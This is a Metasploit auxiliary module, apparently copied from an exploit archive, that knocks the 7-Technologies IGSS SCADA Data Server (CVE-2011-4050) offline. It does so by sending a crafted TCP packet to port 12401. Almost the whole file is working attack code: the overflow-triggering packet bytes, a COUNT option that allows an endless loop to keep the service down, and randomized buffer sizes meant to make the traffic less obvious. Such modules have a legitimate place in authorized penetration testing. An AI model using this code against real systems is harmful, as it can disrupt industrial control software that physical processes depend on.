## https://sploitus.com/exploit?id=PACKETSTORM:180484
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
'Description' => %q{
The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
brought down by sending a crafted TCP packet to port 12401. This should also work
for version <= 9.0.0.1120, but that version hasn't been tested.
},
'Author' =>
[
'jfa', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-4050' ],
[ 'OSVDB', '77976' ],
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]
],
'DisclosureDate' => '2011-12-20'
))
register_options(
[
Opt::RPORT(12401),
OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
])
end
def run
#
#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
#dos << Rex::Text.rand_text_alpha(5014)
#
# I should have looked at the other MSF modules before I started doing it the hard way.
# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
#
count = datastore['COUNT']
snore = datastore['SLEEP']
times = 1
# Someone wants to keep a good service down.
if count == 0
count = 1
infinite = true
end
#
# The port seems to stay open open until someone clicks "Close the program".
# Once they click "Close the program" (Windows 7), the port becomes unavailable.
#
# However, even though it's open, it doesn't seem to handle any valid requests.
#
while count >= 1 do
## Randomize the buffer size to make it a teeny tiny bit less obvious
size = Random.new.rand(1024..5014)
dos = "\x00\x04" #Funky size causes overflow
dos << "\x01\x00\x34\x12"
dos << "\x0D" #Opcode
dos << "\x00\x00\x00\x00\x00\x00\x00"
dos << "\x01" #Flag
dos << "\x00\x00\x00\x01\x00\x00\x00"
dos << Rex::Text.rand_text_alpha(size)
begin
connect
sock.put(dos)
print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
disconnect
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_status("Connection refused. Someone may have clicked 'Close the program'")
end
if infinite
select(nil, nil, nil, snore)
times += 1
else
select(nil, nil, nil, snore) if count > 1
count -= 1
times += 1
end
end
end
end